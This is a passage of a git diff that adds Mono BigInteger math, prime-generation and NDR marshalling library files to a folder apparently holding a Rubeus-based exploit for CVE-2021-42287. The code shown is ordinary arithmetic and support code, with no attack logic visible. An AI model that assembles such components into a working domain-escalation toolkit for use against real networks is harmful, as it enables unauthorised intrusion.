(pos != 0 && bi1.data[pos] == bi2.data[pos]) pos--; + + if (bi1.data[pos] < bi2.data[pos]) + return Sign.Negative; + else if (bi1.data[pos] > bi2.data[pos]) + return Sign.Positive; + else + return Sign.Zero; + } + + #endregion + + #region Division + + #region Dword + + /// + /// Performs n / d and n % d in one operation. + /// + /// A BigInteger, upon exit this will hold n / d + /// The divisor + /// n % d + public static uint SingleByteDivideInPlace(BigInteger n, uint d) { + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + n.data[i] = (uint)(r / d); + r %= d; + } + n.Normalize(); + + return (uint)r; + } + + public static uint DwordMod(BigInteger n, uint d) { + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + r %= d; + } + + return (uint)r; + } + + public static BigInteger DwordDiv(BigInteger n, uint d) { + BigInteger ret = new BigInteger(Sign.Positive, n.length); + + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + ret.data[i] = (uint)(r / d); + r %= d; + } + ret.Normalize(); + + return ret; + } + + public static BigInteger[] DwordDivMod(BigInteger n, uint d) { + BigInteger ret = new BigInteger(Sign.Positive, n.length); + + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + ret.data[i] = (uint)(r / d); + r %= d; + } + ret.Normalize(); + + BigInteger rem = (uint)r; + + return new BigInteger[] { ret, rem }; + } + + #endregion + + #region BigNum + + public static BigInteger[] multiByteDivide(BigInteger bi1, BigInteger bi2) { + if (Kernel.Compare(bi1, bi2) == Sign.Negative) + return new BigInteger[2] { 0, new BigInteger(bi1) }; + + bi1.Normalize(); bi2.Normalize(); + + if (bi2.length == 1) + return DwordDivMod(bi1, bi2.data[0]); + + uint remainderLen = bi1.length + 1; + int divisorLen = (int)bi2.length + 1; + + uint mask = 0x80000000; + uint val = bi2.data[bi2.length - 1]; + int shift = 0; + int resultPos = (int)bi1.length - (int)bi2.length; + + while (mask != 0 && (val & mask) == 0) { + shift++; mask >>= 1; + } + + BigInteger quot = new BigInteger(Sign.Positive, bi1.length - bi2.length + 1); + BigInteger rem = (bi1 << shift); + + uint[] remainder = rem.data; + + bi2 = bi2 << shift; + + int j = (int)(remainderLen - bi2.length); + int pos = (int)remainderLen - 1; + + uint firstDivisorByte = bi2.data[bi2.length - 1]; + ulong secondDivisorByte = bi2.data[bi2.length - 2]; + + while (j > 0) { + ulong dividend = ((ulong)remainder[pos] << 32) + (ulong)remainder[pos - 1]; + + ulong q_hat = dividend / (ulong)firstDivisorByte; + ulong r_hat = dividend % (ulong)firstDivisorByte; + + do { + + if (q_hat == 0x100000000 || + (q_hat * secondDivisorByte) > ((r_hat << 32) + remainder[pos - 2])) { + q_hat--; + r_hat += (ulong)firstDivisorByte; + + if (r_hat < 0x100000000) + continue; + } + break; + } while (true); + + // + // At this point, q_hat is either exact, or one too large + // (more likely to be exact) so, we attempt to multiply the + // divisor by q_hat, if we get a borrow, we just subtract + // one from q_hat and add the divisor back. + // + + uint t; + uint dPos = 0; + int nPos = pos - divisorLen + 1; + ulong mc = 0; + uint uint_q_hat = (uint)q_hat; + do { + mc += (ulong)bi2.data[dPos] * (ulong)uint_q_hat; + t = remainder[nPos]; + remainder[nPos] -= (uint)mc; + mc >>= 32; + if (remainder[nPos] > t) mc++; + dPos++; nPos++; + } while (dPos < divisorLen); + + nPos = pos - divisorLen + 1; + dPos = 0; + + // Overestimate + if (mc != 0) { + uint_q_hat--; + ulong sum = 0; + + do { + sum = ((ulong)remainder[nPos]) + ((ulong)bi2.data[dPos]) + sum; + remainder[nPos] = (uint)sum; + sum >>= 32; + dPos++; nPos++; + } while (dPos < divisorLen); + + } + + quot.data[resultPos--] = (uint)uint_q_hat; + + pos--; + j--; + } + + quot.Normalize(); + rem.Normalize(); + BigInteger[] ret = new BigInteger[2] { quot, rem }; + + if (shift != 0) + ret[1] >>= shift; + + return ret; + } + + #endregion + + #endregion + + #region Shift + public static BigInteger LeftShift(BigInteger bi, int n) { + if (n == 0) return new BigInteger(bi, bi.length + 1); + + int w = n >> 5; + n &= ((1 << 5) - 1); + + BigInteger ret = new BigInteger(Sign.Positive, bi.length + 1 + (uint)w); + + uint i = 0, l = bi.length; + if (n != 0) { + uint x, carry = 0; + while (i < l) { + x = bi.data[i]; + ret.data[i + w] = (x << n) | carry; + carry = x >> (32 - n); + i++; + } + ret.data[i + w] = carry; + } else { + while (i < l) { + ret.data[i + w] = bi.data[i]; + i++; + } + } + + ret.Normalize(); + return ret; + } + + public static BigInteger RightShift(BigInteger bi, int n) { + if (n == 0) return new BigInteger(bi); + + int w = n >> 5; + int s = n & ((1 << 5) - 1); + + BigInteger ret = new BigInteger(Sign.Positive, bi.length - (uint)w + 1); + uint l = (uint)ret.data.Length - 1; + + if (s != 0) { + + uint x, carry = 0; + + while (l-- > 0) { + x = bi.data[l + w]; + ret.data[l] = (x >> n) | carry; + carry = x << (32 - n); + } + } else { + while (l-- > 0) + ret.data[l] = bi.data[l + w]; + + } + ret.Normalize(); + return ret; + } + + #endregion + + #region Multiply + + public static BigInteger MultiplyByDword(BigInteger n, uint f) { + BigInteger ret = new BigInteger(Sign.Positive, n.length + 1); + + uint i = 0; + ulong c = 0; + + do { + c += (ulong)n.data[i] * (ulong)f; + ret.data[i] = (uint)c; + c >>= 32; + } while (++i < n.length); + ret.data[i] = (uint)c; + ret.Normalize(); + return ret; + + } + + /// + /// Multiplies the data in x [xOffset:xOffset+xLen] by + /// y [yOffset:yOffset+yLen] and puts it into + /// d [dOffset:dOffset+xLen+yLen]. + /// + /// + /// This code is unsafe! It is the caller's responsibility to make + /// sure that it is safe to access x [xOffset:xOffset+xLen], + /// y [yOffset:yOffset+yLen], and d [dOffset:dOffset+xLen+yLen]. + /// + public static unsafe void Multiply(uint[] x, uint xOffset, uint xLen, uint[] y, uint yOffset, uint yLen, uint[] d, uint dOffset) { + fixed (uint* xx = x, yy = y, dd = d) { + uint* xP = xx + xOffset, + xE = xP + xLen, + yB = yy + yOffset, + yE = yB + yLen, + dB = dd + dOffset; + + for (; xP < xE; xP++, dB++) { + + if (*xP == 0) continue; + + ulong mcarry = 0; + + uint* dP = dB; + for (uint* yP = yB; yP < yE; yP++, dP++) { + mcarry += ((ulong)*xP * (ulong)*yP) + (ulong)*dP; + + *dP = (uint)mcarry; + mcarry >>= 32; + } + + if (mcarry != 0) + *dP = (uint)mcarry; + } + } + } + + /// + /// Multiplies the data in x [xOffset:xOffset+xLen] by + /// y [yOffset:yOffset+yLen] and puts the low mod words into + /// d [dOffset:dOffset+mod]. + /// + /// + /// This code is unsafe! It is the caller's responsibility to make + /// sure that it is safe to access x [xOffset:xOffset+xLen], + /// y [yOffset:yOffset+yLen], and d [dOffset:dOffset+mod]. + /// + public static unsafe void MultiplyMod2p32pmod(uint[] x, int xOffset, int xLen, uint[] y, int yOffest, int yLen, uint[] d, int dOffset, int mod) { + fixed (uint* xx = x, yy = y, dd = d) { + uint* xP = xx + xOffset, + xE = xP + xLen, + yB = yy + yOffest, + yE = yB + yLen, + dB = dd + dOffset, + dE = dB + mod; + + for (; xP < xE; xP++, dB++) { + + if (*xP == 0) continue; + + ulong mcarry = 0; + uint* dP = dB; + for (uint* yP = yB; yP < yE && dP < dE; yP++, dP++) { + mcarry += ((ulong)*xP * (ulong)*yP) + (ulong)*dP; + + *dP = (uint)mcarry; + mcarry >>= 32; + } + + if (mcarry != 0 && dP < dE) + *dP = (uint)mcarry; + } + } + } + + public static unsafe void SquarePositive(BigInteger bi, ref uint[] wkSpace) { + uint[] t = wkSpace; + wkSpace = bi.data; + uint[] d = bi.data; + uint dl = bi.length; + bi.data = t; + + fixed (uint* dd = d, tt = t) { + + uint* ttE = tt + t.Length; + // Clear the dest + for (uint* ttt = tt; ttt < ttE; ttt++) + *ttt = 0; + + uint* dP = dd, tP = tt; + + for (uint i = 0; i < dl; i++, dP++) { + if (*dP == 0) + continue; + + ulong mcarry = 0; + uint bi1val = *dP; + + uint* dP2 = dP + 1, tP2 = tP + 2 * i + 1; + + for (uint j = i + 1; j < dl; j++, tP2++, dP2++) { + // k = i + j + mcarry += ((ulong)bi1val * (ulong)*dP2) + *tP2; + + *tP2 = (uint)mcarry; + mcarry >>= 32; + } + + if (mcarry != 0) + *tP2 = (uint)mcarry; + } + + // Double t. Inlined for speed. + + tP = tt; + + uint x, carry = 0; + while (tP < ttE) { + x = *tP; + *tP = (x << 1) | carry; + carry = x >> (32 - 1); + tP++; + } + if (carry != 0) *tP = carry; + + // Add in the diagnals + + dP = dd; + tP = tt; + for (uint* dE = dP + dl; (dP < dE); dP++, tP++) { + ulong val = (ulong)*dP * (ulong)*dP + *tP; + *tP = (uint)val; + val >>= 32; + *(++tP) += (uint)val; + if (*tP < (uint)val) { + uint* tP3 = tP; + // Account for the first carry + (*++tP3)++; + + // Keep adding until no carry + while ((*tP3++) == 0) + (*tP3)++; + } + + } + + bi.length <<= 1; + + // Normalize length + while (tt[bi.length - 1] == 0 && bi.length > 1) bi.length--; + + } + } + + /* + * Never called in BigInteger (and part of a private class) + * public static bool Double (uint [] u, int l) + { + uint x, carry = 0; + uint i = 0; + while (i < l) { + x = u [i]; + u [i] = (x << 1) | carry; + carry = x >> (32 - 1); + i++; + } + if (carry != 0) u [l] = carry; + return carry != 0; + }*/ + + #endregion + + #region Number Theory + + public static BigInteger gcd(BigInteger a, BigInteger b) { + BigInteger x = a; + BigInteger y = b; + + BigInteger g = y; + + while (x.length > 1) { + g = x; + x = y % x; + y = g; + + } + if (x == 0) return g; + + // TODO: should we have something here if we can convert to long? + + // + // Now we can just do it with single precision. I am using the binary gcd method, + // as it should be faster. + // + + uint yy = x.data[0]; + uint xx = y % yy; + + int t = 0; + + while (((xx | yy) & 1) == 0) { + xx >>= 1; yy >>= 1; t++; + } + while (xx != 0) { + while ((xx & 1) == 0) xx >>= 1; + while ((yy & 1) == 0) yy >>= 1; + if (xx >= yy) + xx = (xx - yy) >> 1; + else + yy = (yy - xx) >> 1; + } + + return yy << t; + } + + public static uint modInverse(BigInteger bi, uint modulus) { + uint a = modulus, b = bi % modulus; + uint p0 = 0, p1 = 1; + + while (b != 0) { + if (b == 1) + return p1; + p0 += (a / b) * p1; + a %= b; + + if (a == 0) + break; + if (a == 1) + return modulus - p0; + + p1 += (b / a) * p0; + b %= a; + + } + return 0; + } + + public static BigInteger modInverse(BigInteger bi, BigInteger modulus) { + if (modulus.length == 1) return modInverse(bi, modulus.data[0]); + + BigInteger[] p = { 0, 1 }; + BigInteger[] q = new BigInteger[2]; // quotients + BigInteger[] r = { 0, 0 }; // remainders + + int step = 0; + + BigInteger a = modulus; + BigInteger b = bi; + + ModulusRing mr = new ModulusRing(modulus); + + while (b != 0) { + + if (step > 1) { + + BigInteger pval = mr.Difference(p[0], p[1] * q[0]); + p[0] = p[1]; p[1] = pval; + } + + BigInteger[] divret = multiByteDivide(a, b); + + q[0] = q[1]; q[1] = divret[0]; + r[0] = r[1]; r[1] = divret[1]; + a = b; + b = divret[1]; + + step++; + } + + if (r[0] != 1) + throw (new ArithmeticException("No inverse!")); + + return mr.Difference(p[0], p[1] * q[0]); + + } + #endregion + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/ConfidenceFactor.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/ConfidenceFactor.cs new file mode 100644 index 0000000..2306af7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/ConfidenceFactor.cs @@ -0,0 +1,70 @@ +// +// NGmp.Math.Prime.ConfidenceFactor.cs - Confidence factor for prime generation +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime { + /// + /// A factor of confidence. + /// +#if INSIDE_CORLIB + internal +#else + public +#endif + enum ConfidenceFactor { + /// + /// Only suitable for development use, probability of failure may be greater than 1/2^20. + /// + ExtraLow, + /// + /// Suitable only for transactions which do not require forward secrecy. Probability of failure about 1/2^40 + /// + Low, + /// + /// Designed for production use. Probability of failure about 1/2^80. + /// + Medium, + /// + /// Suitable for sensitive data. Probability of failure about 1/2^160. + /// + High, + /// + /// Use only if you have lots of time! Probability of failure about 1/2^320. + /// + ExtraHigh, + /// + /// Only use methods which generate provable primes. Not yet implemented. + /// + Provable + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/NextPrimeFinder.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/NextPrimeFinder.cs new file mode 100644 index 0000000..b94e7db --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/NextPrimeFinder.cs @@ -0,0 +1,57 @@ +// +// NGmp.Math.Prime.Generator.NextPrimeFinder.cs - Prime Generator +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using Mono.Math.Prime.Generator; +using System; + +namespace Mono.Math.Generator { + + /// + /// Finds the next prime after a given number. + /// +#if INSIDE_CORLIB + internal +#else + public +#endif + class NextPrimeFinder : SequentialSearchPrimeGeneratorBase { + + protected override BigInteger GenerateSearchBase(int bits, object Context) { + if (Context == null) + throw new ArgumentNullException("Context"); + + BigInteger ret = new BigInteger((BigInteger)Context); + ret.SetBit(0); + return ret; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/PrimalityTest.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/PrimalityTest.cs new file mode 100644 index 0000000..3058c16 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/PrimalityTest.cs @@ -0,0 +1,213 @@ +// +// Mono.Math.Prime.PrimalityTests.cs - Test for primality +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime { + +#if INSIDE_CORLIB + internal +#else + public +#endif + delegate bool PrimalityTest(BigInteger bi, ConfidenceFactor confidence); + +#if INSIDE_CORLIB + internal +#else + public +#endif + sealed class PrimalityTests { + + private PrimalityTests() { + } + + #region SPP Test + + private static int GetSPPRounds(BigInteger bi, ConfidenceFactor confidence) { + int bc = bi.BitCount(); + + int Rounds; + + // Data from HAC, 4.49 + if (bc <= 100) Rounds = 27; + else if (bc <= 150) Rounds = 18; + else if (bc <= 200) Rounds = 15; + else if (bc <= 250) Rounds = 12; + else if (bc <= 300) Rounds = 9; + else if (bc <= 350) Rounds = 8; + else if (bc <= 400) Rounds = 7; + else if (bc <= 500) Rounds = 6; + else if (bc <= 600) Rounds = 5; + else if (bc <= 800) Rounds = 4; + else if (bc <= 1250) Rounds = 3; + else Rounds = 2; + + switch (confidence) { + case ConfidenceFactor.ExtraLow: + Rounds >>= 2; + return Rounds != 0 ? Rounds : 1; + case ConfidenceFactor.Low: + Rounds >>= 1; + return Rounds != 0 ? Rounds : 1; + case ConfidenceFactor.Medium: + return Rounds; + case ConfidenceFactor.High: + return Rounds << 1; + case ConfidenceFactor.ExtraHigh: + return Rounds << 2; + case ConfidenceFactor.Provable: + throw new Exception("The Rabin-Miller test can not be executed in a way such that its results are provable"); + default: + throw new ArgumentOutOfRangeException("confidence"); + } + } + + public static bool Test(BigInteger n, ConfidenceFactor confidence) { + // Rabin-Miller fails with smaller primes (at least with our BigInteger code) + if (n.BitCount() < 33) + return SmallPrimeSppTest(n, confidence); + else + return RabinMillerTest(n, confidence); + } + + /// + /// Probabilistic prime test based on Rabin-Miller's test + /// + /// + /// + /// The number to test. + /// + /// + /// + /// + /// The number of chosen bases. The test has at least a + /// 1/4^confidence chance of falsely returning True. + /// + /// + /// + /// + /// True if "this" is a strong pseudoprime to randomly chosen bases. + /// + /// + /// False if "this" is definitely NOT prime. + /// + /// + public static bool RabinMillerTest(BigInteger n, ConfidenceFactor confidence) { + int bits = n.BitCount(); + int t = GetSPPRounds(bits, confidence); + + // n - 1 == 2^s * r, r is odd + BigInteger n_minus_1 = n - 1; + int s = n_minus_1.LowestSetBit(); + BigInteger r = n_minus_1 >> s; + + BigInteger.ModulusRing mr = new BigInteger.ModulusRing(n); + + // Applying optimization from HAC section 4.50 (base == 2) + // not a really random base but an interesting (and speedy) one + BigInteger y = null; + // FIXME - optimization disable for small primes due to bug #81857 + if (n.BitCount() > 100) + y = mr.Pow(2, r); + + // still here ? start at round 1 (round 0 was a == 2) + for (int round = 0; round < t; round++) { + + if ((round > 0) || (y == null)) { + BigInteger a = null; + + // check for 2 <= a <= n - 2 + // ...but we already did a == 2 previously as an optimization + do { + a = BigInteger.GenerateRandom(bits); + } while ((a <= 2) && (a >= n_minus_1)); + + y = mr.Pow(a, r); + } + + if (y == 1) + continue; + + for (int j = 0; ((j < s) && (y != n_minus_1)); j++) { + + y = mr.Pow(y, 2); + if (y == 1) + return false; + } + + if (y != n_minus_1) + return false; + } + return true; + } + + public static bool SmallPrimeSppTest(BigInteger bi, ConfidenceFactor confidence) { + int Rounds = GetSPPRounds(bi, confidence); + + // calculate values of s and t + BigInteger p_sub1 = bi - 1; + int s = p_sub1.LowestSetBit(); + + BigInteger t = p_sub1 >> s; + + + BigInteger.ModulusRing mr = new BigInteger.ModulusRing(bi); + + for (int round = 0; round < Rounds; round++) { + + BigInteger b = mr.Pow(BigInteger.smallPrimes[round], t); + + if (b == 1) continue; // a^t mod p = 1 + + bool result = false; + for (int j = 0; j < s; j++) { + + if (b == p_sub1) { // a^((2^j)*t) mod p = p-1 for some 0 <= j <= s-1 + result = true; + break; + } + + b = (b * b) % bi; + } + + if (result == false) + return false; + } + return true; + } + + #endregion + + // TODO: Implement the Lucus test + // TODO: Implement other new primality tests + // TODO: Implement primality proving + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/PrimeGeneratorBase.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/PrimeGeneratorBase.cs new file mode 100644 index 0000000..825d19a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/PrimeGeneratorBase.cs @@ -0,0 +1,76 @@ +// +// NGmp.Math.Prime.Generator.PrimeGeneratorBase.cs - Abstract Prime Generator +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime.Generator { + +#if INSIDE_CORLIB + internal +#else + public +#endif + abstract class PrimeGeneratorBase { + + public virtual ConfidenceFactor Confidence { + get { +#if DEBUG + return ConfidenceFactor.ExtraLow; +#else + return ConfidenceFactor.Medium; +#endif + } + } + + public virtual Prime.PrimalityTest PrimalityTest { + get { + return new Prime.PrimalityTest(PrimalityTests.RabinMillerTest); + } + } + + public virtual int TrialDivisionBounds { + get { return 4000; } + } + + /// + /// Performs primality tests on bi, assumes trial division has been done. + /// + /// A BigInteger that has been subjected to and passed trial division + /// False if bi is composite, true if it may be prime. + /// The speed of this method is dependent on Confidence + protected bool PostTrialDivisionTests(BigInteger bi) { + return PrimalityTest(bi, this.Confidence); + } + + public abstract BigInteger GenerateNewPrime(int bits); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/SequentialSearchPrimeGeneratorBase.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/SequentialSearchPrimeGeneratorBase.cs new file mode 100644 index 0000000..cdf3a5a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/SequentialSearchPrimeGeneratorBase.cs @@ -0,0 +1,122 @@ +// +// NGmp.Math.Prime.Generator.SequentialSearchPrimeGeneratorBase.cs - Prime Generator +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime.Generator { + +#if INSIDE_CORLIB + internal +#else + public +#endif + class SequentialSearchPrimeGeneratorBase : PrimeGeneratorBase { + + protected virtual BigInteger GenerateSearchBase(int bits, object context) { + BigInteger ret = BigInteger.GenerateRandom(bits); + ret.SetBit(0); + return ret; + } + + + public override BigInteger GenerateNewPrime(int bits) { + return GenerateNewPrime(bits, null); + } + + + public virtual BigInteger GenerateNewPrime(int bits, object context) { + // + // STEP 1. Find a place to do a sequential search + // + BigInteger curVal = GenerateSearchBase(bits, context); + + const uint primeProd1 = 3u * 5u * 7u * 11u * 13u * 17u * 19u * 23u * 29u; + + uint pMod1 = curVal % primeProd1; + + int DivisionBound = TrialDivisionBounds; + uint[] SmallPrimes = BigInteger.smallPrimes; + PrimalityTest PostTrialDivisionTest = this.PrimalityTest; + // + // STEP 2. Search for primes + // + while (true) { + + // + // STEP 2.1 Sieve out numbers divisible by the first 9 primes + // + if (pMod1 % 3 == 0) goto biNotPrime; + if (pMod1 % 5 == 0) goto biNotPrime; + if (pMod1 % 7 == 0) goto biNotPrime; + if (pMod1 % 11 == 0) goto biNotPrime; + if (pMod1 % 13 == 0) goto biNotPrime; + if (pMod1 % 17 == 0) goto biNotPrime; + if (pMod1 % 19 == 0) goto biNotPrime; + if (pMod1 % 23 == 0) goto biNotPrime; + if (pMod1 % 29 == 0) goto biNotPrime; + + // + // STEP 2.2 Sieve out all numbers divisible by the primes <= DivisionBound + // + for (int p = 10; p < SmallPrimes.Length && SmallPrimes[p] <= DivisionBound; p++) { + if (curVal % SmallPrimes[p] == 0) + goto biNotPrime; + } + + // + // STEP 2.3 Is the potential prime acceptable? + // + if (!IsPrimeAcceptable(curVal, context)) + goto biNotPrime; + + // + // STEP 2.4 Filter out all primes that pass this step with a primality test + // + if (PrimalityTest(curVal, Confidence)) + return curVal; + + // + // STEP 2.4 + // + biNotPrime: + pMod1 += 2; + if (pMod1 >= primeProd1) + pMod1 -= primeProd1; + curVal.Incr2(); + } + } + + protected virtual bool IsPrimeAcceptable(BigInteger bi, object context) { + return true; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrConformantStructure.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrConformantStructure.cs new file mode 100644 index 0000000..ca5f592 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrConformantStructure.cs @@ -0,0 +1,29 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Interface for a marshalled NDR conformant structure. + /// + /// This interface is primarily for internal use only. + public interface INdrConformantStructure : INdrStructure + { + /// + /// Gets the number of conformant dimensions, should be at least one. + /// + /// The number of conformant dimensions. + int GetConformantDimensions(); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrNonEncapsulatedUnion.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrNonEncapsulatedUnion.cs new file mode 100644 index 0000000..a18dff3 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrNonEncapsulatedUnion.cs @@ -0,0 +1,30 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Interface for a marshalled non-encapsulated NDR union. + /// + 